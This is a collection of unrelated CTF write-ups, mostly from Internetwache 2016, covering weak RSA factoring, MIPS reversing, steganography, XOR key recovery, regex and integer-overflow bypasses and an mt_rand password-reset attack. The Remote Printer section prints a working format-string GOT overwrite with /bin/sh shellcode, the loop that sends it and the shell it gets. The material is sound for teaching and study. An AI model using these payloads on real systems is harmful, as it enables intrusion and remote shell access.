https://citp.princeton.edu/research/memory/code/[rsakeyfind]: https://citp.princeton.edu/research/memory/code/[Easy Python Decompiler]: http://sourceforge.net/projects/easypythondecompiler/[factordb.com]: http://factordb.com/[Volatility]: https://github.com/volatilityfoundation/volatility[Autopsy]: http://www.sleuthkit.org/autopsy/[ShowMyCode]: http://www.showmycode.com/[HTTrack]: https://www.httrack.com/[theHarvester]: https://github.com/laramies/theHarvester[Netcraft]: http://toolbar.netcraft.com/site_report/[Nikto]: https://cirt.net/Nikto2[PIVOT Project]: http://pivotproject.org/[InsomniHack PDF]: http://insomnihack.ch/wp-content/uploads/2016/01/Hacking_like_in_the_movies.pdf[radare]: http://www.radare.org/r/[radare2]: http://www.radare.org/r/[foremost]: https://en.wikipedia.org/wiki/Foremost_%28software%29[ZAP]: https://github.com/zaproxy/zaproxy[Computer Security Student]: https://www.computersecuritystudent.com/HOME/index.html[Vulnerable Web Page]: http://testphp.vulnweb.com/[Hipshot]: https://bitbucket.org/eliteraspberries/hipshot[John the Ripper]: https://en.wikipedia.org/wiki/John_the_Ripper[hashcat]: http://hashcat.net/oclhashcat/[fcrackzip]: http://manpages.ubuntu.com/manpages/hardy/man1/fcrackzip.1.html[Whitehatters Academy]: https://www.whitehatters.academy/[gn00bz]: http://gnoobz.com/[Command Line Kung Fu]:http://blog.commandlinekungfu.com/[Cybrary]: https://www.cybrary.it/[Obum Chidi]: https://obumchidi.wordpress.com/[ksnctf]: http://ksnctf.sweetduet.info/[ToolsWatch]: http://www.toolswatch.org/category/tools/[Net Force]:https://net-force.nl/[Nandy Narwhals]: http://nandynarwhals.org/[CTFHacker]: http://ctfhacker.com/[Tasteless]: http://tasteless.eu/[Dragon Sector]: http://blog.dragonsector.pl/[pwnable.kr]: http://pwnable.kr/[reversing.kr]: http://reversing.kr/[DVWA]: http://www.dvwa.co.uk/[Damn Vulnerable Web App]: http://www.dvwa.co.uk/[b01lers]: https://b01lers.net/[Capture the Swag]: https://ctf.rip/[pointer]: https://en.wikipedia.org/wiki/Pointer_%28computer_programming%29[call stack]: https://en.wikipedia.org/wiki/Call_stack[return statement]: https://en.wikipedia.org/wiki/Return_statement[return address]: https://en.wikipedia.org/wiki/Return_statement[disassemble]: https://en.wikipedia.org/wiki/Disassembler[less]: https://en.wikipedia.org/wiki/Less_%28Unix%29[puts]: http://pubs.opengroup.org/onlinepubs/009695399/functions/puts.html[disassembly]: https://en.wikibooks.org/wiki/X86_Disassembly[PLT]: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html[Procedure Lookup Table]: http://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got[environment variable]: https://en.wikipedia.org/wiki/Environment_variable[getenvaddr]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[getenvaddr.c]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332
# Internetwache CTF 2016 : Oh Bob! **Category:** Crypto**Points:** 60**Solves:** 167**Description:** > Description: Alice wants to send Bob a confidential message. They both remember the crypto lecture about RSA. So Bob uses openssl to create key pairs. Finally, Alice encrypts the message with Bob’s public keys and sends it to Bob. Clever Eve was able to intercept it. Can you help Eve to decrypt the message?> Attachment: [crypto60.zip](./crypto60.zip) ## Write-up We are given 3 RSA public keys (bob.pub, bob2.pub, bob3.pub), and 3 secrets encrypted with openssl in secret.enc.Our goal is to decrypt them to get the flag. We first extracted the modulus and exponent from each of the 3 public keys using the following command```sh$ openssl rsa -pubin -inform PEM -text -noout < bob.pubModulus (228 bit): 0d:56:4b:97:8f:9d:23:35:04:95:8e:ed:8b:74:43: 73:28:1e:d1:41:8b:29:f1:ec:fa:80:93:d8:cfExponent: 65537 (0x10001)```(Thanks to stackoverflow and the answer to this question: http://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key) After repeating this for all keys and converting to decimal, we got the following 3 public key pairs: bob.pub```n = 359567260516027240236814314071842368703501656647819140843316303878351e = 65537```bob2.pub```n = 273308045849724059815624389388987562744527435578575831038939266472921e = 65537``` bob3.pub```n = 333146335555060589623326457744716213139646991731493272747695074955549e = 65537``` The moduli are relatively small, and can be factored in a few minutes using the Quadratic Sieve or GNFS algorithms (we used the Msieve program).From p and q, we can then find phi(n) = (p-1)*(q-1) and the private exponent d = e^(-1) mod phi(n). We used WolframAlpha for the computations.We now theoretically have all necessary data to decrypt the message, but our knowledge of the openssl file formats was somewhat limitedso we had to look around until we found this helpful tutorial on manually building RSA private keys from the parameters:http://stackoverflow.com/questions/19850283/how-to-generate-rsa-keys-using-specific-input-numbers-in-openssl From this we see that some additional data is required (openssl probably uses the Chinese Remainder Theorem optimization for RSA),which we calculate as well with WolframAlpha. After all the parameters were calculated and stored in the right format, in the following files:[private1](./private1)[private2](./private2)[private3](./private3) The binary DER files were then generated using```sh$ openssl asn1parse -genconf private1 -out key1.der 0:d=0 hl=3 l= 154 cons: SEQUENCE 3:d=1 hl=2 l= 1 prim: INTEGER :00 6:d=1 hl=2 l= 29 prim: INTEGER :0D564B978F9D233504958EED8B744373281ED1418B29F1ECFA8093D8CF 37:d=1 hl=2 l= 3 prim: INTEGER :010001 42:d=1 hl=2 l= 29 prim: INTEGER :010266F631885301D037017A38F3B3196B3491CE1C97007055FD220001 73:d=1 hl=2 l= 15 prim: INTEGER :0375AC9161AD7E431EBDDF01E514CF 90:d=1 hl=2 l= 15 prim: INTEGER :03DAE2E1D28965D328B06D615DFC01 107:d=1 hl=2 l= 15 prim: INTEGER :01AFC69781B5210EFBD7B8F6A585C5 124:d=1 hl=2 l= 14 prim: INTEGER :105E58FE83F6E364B6606A100401 140:d=1 hl=2 l= 15 prim: INTEGER :CD8DEAFC5A1B933414DA0A5CCA95```to obtain the files[key1.der](./key1.der)[key2.der](./key2.der)[key3.der](./key3.der) The secrets are finally decrypted using the following command:```sh$ echo "DK9dt2MTybMqRz/N2RUMq2qauvqFIOnQ89mLjXY=" | base64 -D | openssl rsautl -keyform DER -inkey key1.der -decryptIW{WEAK_R $ echo "CiLSeTUCCKkyNf8NVnifGKKS2FJ7VnWKnEdygXY=" | base64 -D | openssl rsautl -keyform DER -inkey key2.der -decryptSA_K3YS_4R $ echo "AK/WPYsK5ECFsupuW98bCFKYUApgrQ6LTcm3KxY=" | base64 -D | openssl rsautl -keyform DER -inkey key3.der -decrypt3_SO_BAD!} ```(Notice that the order of the last two messages is inverted. The 3rd message was encrypted with key2, and the 2nd with key3). After combining the 3 messages, we get the flag:> IW{WEAK_RSA_K3YS_4R3_SO_BAD!} # CTF-Writeups
[](ctf=internetwasche-ctf-2016)[](type=exploit)[](tags=format string)[](tools=libformatstr)[](techniques=format string) # Remote Printer (exp-80) >Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task. >Attachment: exp80.zip >Service: 188.166.133.53:12377 Unzipping the [file](../exp80.zip) gives us the following. ```bash$ file RemotePrinterRemotePrinter: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3db29aea1dc4af0eb3f7104e529f856256a1d775, stripped```If we run it with```bash$ nc -l -p 8000 -vv```in another terminal. ```bash$ ./RemotePrinterThis is a remote printer!Enter IPv4 address:127.0.0.1Enter port:8000``` gives us a connection on the listening port.```bash$ nc -l -p 8000 -vvlistening on [any] 8000 ...connect to [127.0.0.1] from Hack-Machine [127.0.0.1] 38908%p.%p.%p sent 9, rcvd 0``` ```bash$ ./RemotePrinterThis is a remote printer!Enter IPv4 address:127.0.0.1Enter port:8000Thank you, I'm trying to print 127.0.0.1:8000 now!0xffc8425c.0x2000.(nil)```So yeah! Format string exploitation! A quick decompilation with [Hopper](https://www.hopperapp.com/) gives us```cfunction sub_80486d5 { eax = *stdout; setbuf(eax, 0x0); puts("This is a remote printer!"); printf("Enter IPv4 address:"); __isoc99_scanf(0x804896e, var_18); printf("Enter port:"); __isoc99_scanf(0x804897f, 0x0); printf("Thank you, I'm trying to print %s:%d now!\n", var_18, 0x0); esp = (((((((esp - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; sub_8048786(var_18, 0x0); return 0x0;}function sub_8048786 { esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; var_C = socket(0x2, 0x1, 0x0); if (var_C == 0xffffffff) { puts("No socket :("); } else { inet_addr(arg0); htons(); esp = (((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; if (connect(var_C, 0x2, 0x10) < 0x0) { perror("No communication :(\n"); } else { esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; if (recv(var_C, var_201C, 0x2000, 0x0) < 0x0) { puts("No data :("); } else { printf(var_201C); close(var_C); } } } return;}```Lets checksec. ```bash$ gdb -q ./RemotePrinterReading symbols from ./RemotePrinter...(no debugging symbols found)...done.gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : disabledPIE : disabledRELRO : disabled```So NX is disabled. This means we can execute shellcode on the stack. So a brief strategy : By overwriting a GOT entry for a function the program will use afterthe printf call we can seize control andcan jump to shellcode address. So here we see printf() is followed by close(). We'll patch the GOT entry for close() to execute our shellcode. ```bash$ readelf -r ./RemotePrinter Relocation section '.rel.dyn' at offset 0x408 contains 2 entries: Offset Info Type Sym.Value Sym. Name08049c34 00000806 R_386_GLOB_DAT 00000000 __gmon_start__08049c8c 00001105 R_386_COPY 08049c8c stdout Relocation section '.rel.plt' at offset 0x418 contains 16 entries: Offset Info Type Sym.Value Sym. Name08049c44 00000107 R_386_JUMP_SLOT 00000000 setbuf08049c48 00000207 R_386_JUMP_SLOT 00000000 printf08049c4c 00000307 R_386_JUMP_SLOT 00000000 fgets08049c50 00000407 R_386_JUMP_SLOT 00000000 fclose08049c54 00000507 R_386_JUMP_SLOT 00000000 htons08049c58 00000607 R_386_JUMP_SLOT 00000000 perror08049c5c 00000707 R_386_JUMP_SLOT 00000000 puts08049c60 00000807 R_386_JUMP_SLOT 00000000 __gmon_start__08049c64 00000907 R_386_JUMP_SLOT 00000000 __libc_start_main08049c68 00000a07 R_386_JUMP_SLOT 00000000 fopen08049c6c 00000b07 R_386_JUMP_SLOT 00000000 __isoc99_scanf08049c70 00000c07 R_386_JUMP_SLOT 00000000 socket08049c74 00000d07 R_386_JUMP_SLOT 00000000 inet_addr08049c78 00000e07 R_386_JUMP_SLOT 00000000 connect08049c7c 00000f07 R_386_JUMP_SLOT 00000000 recv08049c80 00001007 R_386_JUMP_SLOT 00000000 close```First we need to locate our input on the stack. A little checking reveals that the first thing on the stack at printf() is the address of our input. Also we can see that ASLR is not enabled on the service as the address remains constant for 5-6 tries (0xffffbcec). The exploit is pretty straight-forward : ```python>>> from pwn import *>>> shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80">>> from libformatstr import *>>> p=FormatStr()>>> p[0x08049c80]=0xffffbcec+0x30>>> pay=p.payload(7,0)>>> print repr(pay+'\x90'*50+shell)'%48412c%14$hn%17123c%15$hnAA\x80\x9c\x04\x08\x82\x9c\x04\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80'>>>``` Now the exploit in action :```bash$for i in {1..100}; do python -c "print '%48412c%14\$hn%17123c%15\$hnAA\x80\x9c\x04\x08\x82\x9c\x04\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80'"| nc -vv -l -p 443 ; doneListening on [0.0.0.0] (family 0, port 443)Connection from [178.62.254.108] port 443 [tcp/https] accepted (family 2, sport 34495)``` we get a shell```iduid=1010(exp80) gid=1010(exp80) groups=1010(exp80)lsRemotePrinterflag.txtcat flag.txtIW{YVO_F0RmaTt3d_RMT_Pr1nT3R}uname -aLinux serv1.2016.ctf.internetwache.org 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u3 (2016-01-17) x86_64 GNU/Linux``` flag>IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}
# Internetwache CTF 2016## Rev50 - SPIM ### Task description:*My friend keeps telling me, that real hackers speak assembly fluently. Are you a real hacker? Decode this string: "IVyN5U3X)ZUMYCs"* ### Solution:We're given some assembly code along the task description. A quick search for "SPIM" reveals that it's a MIPS32 simulator.It doesn't take a genius to figure out this code is MIPS assembly ;). ```asmUser Text Segment [00400000]..[00440000][00400000] 8fa40000 lw $4, 0($29) ; 183: lw $a0 0($sp) # argc [00400004] 27a50004 addiu $5, $29, 4 ; 184: addiu $a1 $sp 4 # argv [00400008] 24a60004 addiu $6, $5, 4 ; 185: addiu $a2 $a1 4 # envp [0040000c] 00041080 sll $2, $4, 2 ; 186: sll $v0 $a0 2 [00400010] 00c23021 addu $6, $6, $2 ; 187: addu $a2 $a2 $v0 [00400014] 0c100009 jal 0x00400024 [main] ; 188: jal main [00400018] 00000000 nop ; 189: nop [0040001c] 3402000a ori $2, $0, 10 ; 191: li $v0 10 [00400020] 0000000c syscall ; 192: syscall # syscall 10 (exit) [00400024] 3c081001 lui $8, 4097 [flag] ; 7: la $t0, flag [00400028] 00004821 addu $9, $0, $0 ; 8: move $t1, $0 [0040002c] 3401000f ori $1, $0, 15 ; 11: sgt $t2, $t1, 15 [00400030] 0029502a slt $10, $1, $9 [00400034] 34010001 ori $1, $0, 1 ; 12: beq $t2, 1, exit [00400038] 102a0007 beq $1, $10, 28 [exit-0x00400038] [0040003c] 01095020 add $10, $8, $9 ; 14: add $t2, $t0, $t1 [00400040] 81440000 lb $4, 0($10) ; 15: lb $a0, ($t2) [00400044] 00892026 xor $4, $4, $9 ; 16: xor $a0, $a0, $t1 [00400048] a1440000 sb $4, 0($10) ; 17: sb $a0, 0($t2) [0040004c] 21290001 addi $9, $9, 1 ; 19: add $t1, $t1, 1 [00400050] 0810000b j 0x0040002c [for] ; 20: j for [00400054] 00082021 addu $4, $0, $8 ; 24: move $a0, $t0 [00400058] 0c100019 jal 0x00400064 [printstring]; 25: jal printstring [0040005c] 3402000a ori $2, $0, 10 ; 26: li $v0, 10 [00400060] 0000000c syscall ; 27: syscall [00400064] 34020004 ori $2, $0, 4 ; 30: li $v0, 4 [00400068] 0000000c syscall ; 31: syscall [0040006c] 03e00008 jr $31 ; 32: jr $ra ``` So first, because I don't like looking at a page of text, let's make this prettier!I extracted the hex encoded machine code: ```8fa4000027a5000424a600040004108000c230210c100009000000003402000a0000000c3c081001000048213401000f0029502a34010001102a0007010950208144000000892026a1440000212900010810000b000820210c1000193402000a0000000c340200040000000c03e00008```and pasted it into a working mips executable. Something from uClibc did the job. After rebasing the executable to start at `0x400000` and fiddling with the comments a bit, I got this: ![Magic](PIMS.png) Much better! :) At `label_for` we have a loop that loops from `0` to `15` and at `0x400040` we xor the `i-th` letter with `i`. A quick one-liner in python got us the flag:```pythonIn [4]: "".join(chr(ord("IVyN5U3X)ZUMYCs"[i]) ^ i) for i in range(15))Out[4]: 'IW{M1P5_!S_FUN}'``` ### Flag:`IW{M1P5_!S_FUN}`
# Internetwache 2016 : Crypto (80) **Category:** crypto |**Points:** 80 |**Name:** Procrastination |**Solves:** 74 |**Description:** > Watching videos is fun! Hint: Stegano skills required.>> Link: > https://procrastination.ctf.internetwache.org ___ ## Write-up We got rick rolled by the website link. It gave us a 30 second webm video from Rick Astley's Never Gonna Give You Up. We did not find any problems with the main video or audio, but we noticed there was a secondary audio track. The secondary audio track We ran the track in Audacity's Spectrum view, and it showed: ![](src/Audacity.JPG) We realized that these were telepone keypad tones, and we converted them into numbers: 0111 0127 0173 0104 0122 060 0116 063 0123 0137 0127 061 0124 0110 0137 0120 0110 060 0116 063 0123 which looked like octal numbers, so we converted them into text: IW{DR0N3S_W1TH_PH0N3S}
## Giraffe's Coffee - Web 300 Problem - Writeup by Robert Xiao (@nneonneo) ### Description> Find the flag!> http://52.69.0.204 ### Solution First thing we do is go to View Source, which tells us to go look at the source code at `index.phps`. Although the web interface only lets you register and login, the source code shows that there are functions for "verify" and "reset" which together allow you to reset a user's password. It's clear that our goal is to reset the password for the `admin` account. Everything seems escaped properly, so we aren't going to get in via SQLi. Instead, look at the reset password functions. `reset` generates a password reset token which is "mailed" to the IP address that the user originally registered with; passing that token to `verify` will reset the user's password. The token is generated using `mt_rand`, which is not cryptographically secure. In fact, the first time `mt_rand` is called, PHP will generate a random 32-bit seed and pass it to `mt_srand` (if `mt_srand` has not already been called), and therefore the random number sequence is determined entirely by a single 32-bit number. Furthermore, with `mod_php`, the `mt_rand` state is preserved for all requests in a particular worker process. We can observe values of `mt_rand` by resetting the password for a newly-registered account and watching port 110 on our machine. Thus, if we can get a *fresh* HTTP worker, then we can bruteforce to find the seed for that worker, and then use HTTP Keep-Alive to continue making requests to that worker with our known `mt_rand` value. The attached `reset.py` script makes a pair of reset requests to get two consecutive `mt_rand` values, then applies the [Openwall `php_mt_seed` bruteforcer](http://www.openwall.com/php_mt_seed/) to bruteforce the seed. It then resets the admin's password and logs in to get the flag: `hitcon{howsgiraffesfeeling?no!youonlythinkofyourself}`
## SecCoding 2 (Misc, 300p) > You should fix vulnerabilities of the given source code, WITHOUT changing its normal behaviour. Link ###ENG[PL](#pl-version) We are given following code, and are tasked with repairing bugs and vulnerabilities in it: ```cpp#include <math.h>#include <stdio.h>#include <windows.h> int main(int argc, char **argv){ // STRING ECHO // // Sample usage: // strecho repeat=4,str=pleaseechome char *str = (char *)malloc(100); int repeat = 0; char *line = GetCommandLineA(); while (*line != ' ') line++; line++; if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = atoi(line); line += (int)ceil(log10((double)repeat)) + 1; } if (strncmp(line, "str=", 4) == 0) { line += 4; str = strtok(line, " "); } for (int i = 0; i < repeat; i++) printf("%s\n", str); line += strlen(str); for (; line >= GetCommandLineA(); line--) *line = '\x0'; free(str); return -14;}``` This code doesn't suck as much as previous one, but still is way worse that anything that could hope to pass any code review.Regardless, we tweaked this code, added few checks here and there, and managed to solve this challenge: ```cpp#include <errno.h>#include <math.h>#include <stdio.h>#include <windows.h> int main(int argc, char **argv) { // STRING ECHO // strecho repeat=4,str=pleaseechome char *line = GetCommandLineA(); int repeat = 0; while (*line != ' ') { line++; if (*line == '\0') { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = strtol(line, &line, 10); if (repeat <= 0) { puts("error"); return -14; } if (errno == ERANGE) { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "str=", 4) == 0) { line += 4; for (int i = 0; i < repeat; i++) { printf("%s\n", line); } } return -14;}``` ###PL version Dostajemy następujący kod, i mamy naprawić w nim błędy i vulny: ```cpp#include <math.h>#include <stdio.h>#include <windows.h> int main(int argc, char **argv){ // STRING ECHO // // Sample usage: // strecho repeat=4,str=pleaseechome char *str = (char *)malloc(100); int repeat = 0; char *line = GetCommandLineA(); while (*line != ' ') line++; line++; if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = atoi(line); line += (int)ceil(log10((double)repeat)) + 1; } if (strncmp(line, "str=", 4) == 0) { line += 4; str = strtok(line, " "); } for (int i = 0; i < repeat; i++) printf("%s\n", str); line += strlen(str); for (; line >= GetCommandLineA(); line--) *line = '\x0'; free(str); return -14;}``` Ten kod nie jest tak dramatycznie zły jak poprzedni, ale ciągle nie miałby szans na przejście code-review gdziekolwiek.Tak czy inaczej, poprawiliśmy go troche, dodaliśmy trochę sprawdzeń tu i tam, i udało nam się dostać 300p za to zadanie: ```cpp#include <errno.h>#include <math.h>#include <stdio.h>#include <windows.h> int main(int argc, char **argv) { // STRING ECHO // strecho repeat=4,str=pleaseechome char *line = GetCommandLineA(); int repeat = 0; while (*line != ' ') { line++; if (*line == '\0') { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = strtol(line, &line, 10); if (repeat <= 0) { puts("error"); return -14; } if (errno == ERANGE) { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "str=", 4) == 0) { line += 4; for (int i = 0; i < repeat; i++) { printf("%s\n", line); } } return -14;}
##Xor with static key (Crypto, 500p) You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is seX OR success? The signals of subconcious mind are not clear, cryptic. You also have the message of heart which is clear and cryptic. You just need to use three of them and find whats the clear message of your Mind... What you must do? ###PL[ENG](#eng-version) Dostajemy 3 pliki: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt) Na podstawie dwóch pierwszych plików należy ustalić algorytm szyfrowania a następnie zdekodować trzeci plik.Treść zadania sugeruje, że szyfrowanie to XOR.W związku z tym wyciągamy klucz szyfrowania korzystając a zależności: `Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key` Zadanie rozwiązujemy prostym skryptem: ```pythonimport codecs name = "Heart_clear.txt"name2 = "Heart_crypt.txt"with codecs.open(name) as input_file: with codecs.open(name2) as input_file2: data = input_file.read() data2 = input_file2.read() xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)] print(xor_key) print("".join([chr(x) for x in xor_key])) with codecs.open("Mind_crypt.txt") as crypto: data = crypto.read() print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data)))``` Który daje nam klucz: `Its right there what you are looking for.` oraz link:https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en Nie bardzo wiedzieliśmy co dalej zrobić, ponieważ link nie był flagą.W końcu wpadliśmy na to żeby wysłać tytuł "strony" `Never Miss a Game` i to okazało sie flagą. ###ENG version We get 3 files: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt) Using the first two we are supposed to figure out the algorithm and then decode the third file.Task description suggests XOR encryption.Therefore we proceed to recoved XOR key using the fact that: `Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key` We solve the task with simple script: ```pythonimport codecs name = "Heart_clear.txt"name2 = "Heart_crypt.txt"with codecs.open(name) as input_file: with codecs.open(name2) as input_file2: data = input_file.read() data2 = input_file2.read() xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)] print(xor_key) print("".join([chr(x) for x in xor_key])) with codecs.open("Mind_crypt.txt") as crypto: data = crypto.read() print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data)))``` And we get the key: `Its right there what you are looking for.`and a link:https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en At this point we were puzzled and didn't know how to proceed since the link was not a flag. However at some point we tried to send the "title" of the page as flag `Never Miss a Game` and it turned out to be ok.
# Internetwache 2016 : Misc (90) **Category:** misc |**Points:** 90 |**Name:** BarParty |**Solves:** 229 |**Description:** > Can you read the barcodes?>> File: > ![](src/barcodes.jpg) ___ ## Write-up We stiched together the cut up barcodes using photoshop. ![](src/barcode1.jpg)![](src/barcode2.jpg) We read the barcodes and got the flag:IW{Bar_B4r_C0d3s}
# Internetwache 2016 : Ruby's count (exp50) **Category:** exploit |**Points:** 50 |**Name:** Ruby's count |**Solves:** 219 |**Description:** > Hi, my name is Ruby. I like converting characters into ascii values and then calculating the sum.>> Service: 188.166.133.53:12037 ___ ## Write-up ### Part ZeroWe were given a service which we connect using python sockets. ```import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('188.166.133.53',12037))data = s.recv(1024)print data``` And we get the first part```Let me count the ascii values of 10 characters:``` They are asking for 10 ascii characters that has a sum of larger than 1020, but also fits the regex:**/^[a-f]{10}$/** ### Part OneTrying to submit the largest character "f" ten times gave us```Sum is: 1020That's not enough (1020 < 1020)``` We tried sending special characters in between the f's but nothing worked. But it seemed the socket was still reading characters after the newline char, and this was not being parsed by the regex, therefore```s.send("ffffffffff" + "\n" + "a10bc")data = s.recv(2048)print data``` Worked :) and we got the flag:```Sum is: 1314IW{RUBY_R3G3X_F41L}``` [See full script here](src/exp50.py)
# Internetwache 2016 : EquationSolver (exp60) **Category:** exploit |**Points:** 60 |**Name:** EquationSolver |**Solves:** 257 |**Description:** > I created a program for an unsolveable equation system. My friend somehow forced it to solve the equations. Can you tell me how he did it?>> Service: 188.166.133.53:12049 ___ ## Write-up ### Part ZeroWe were given a service which we connect using python sockets. ```import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('188.166.133.53',12049))data = s.recv(1024)print data``` And we get the first part```Solve the following equations:X > 1337X * 7 + 4 = 1337``` ### Part OneSubmitting really large integers (99999999999999999999999) gave us```2147483648 is bigger than 13372147483645 is not equal to 1337``` So it seemed like the integers overflowed. Submitting the negative of the large integers, we get similar response```-2147483648 is bigger than 1337-2147483645 is not equal to 1337``` The first line gave away they are storing the numbers as non-signed integers.So we tried to overflow it between the ranges -2147483648 and 2147483648, where the (7 * our input) positives happens```# -613566566 = 1338# -1227133323 = 1335# -1840700079 = 1339``` Seemed like the overflow range we are looking for is in the positives, and 613566947 gave use the flag :)```613566947 is bigger than 13371337 is equal to 1337Well done!IW{Y4Y_0verfl0w}``` [See full script here](src/exp60.py)[See full overflow ranges here](src/exp60.xlsx)
# Writeup for The Secret Store (WEB70) (70) > Solves: 267> Description: We all love secrets. Without them, our lives would be dull. A student wrote a secure secret store, however he was babbling about problems with the database. Maybe I shouldn't use the 'admin' account. Hint1: Account deletion is intentional. Hint2: I can't handle long usernames.> Service: https://the-secret-store.ctf.internetwache.org/ ![web701.png](web701.png) We tried login as `admin` `admin` and suddenly we got the flag :)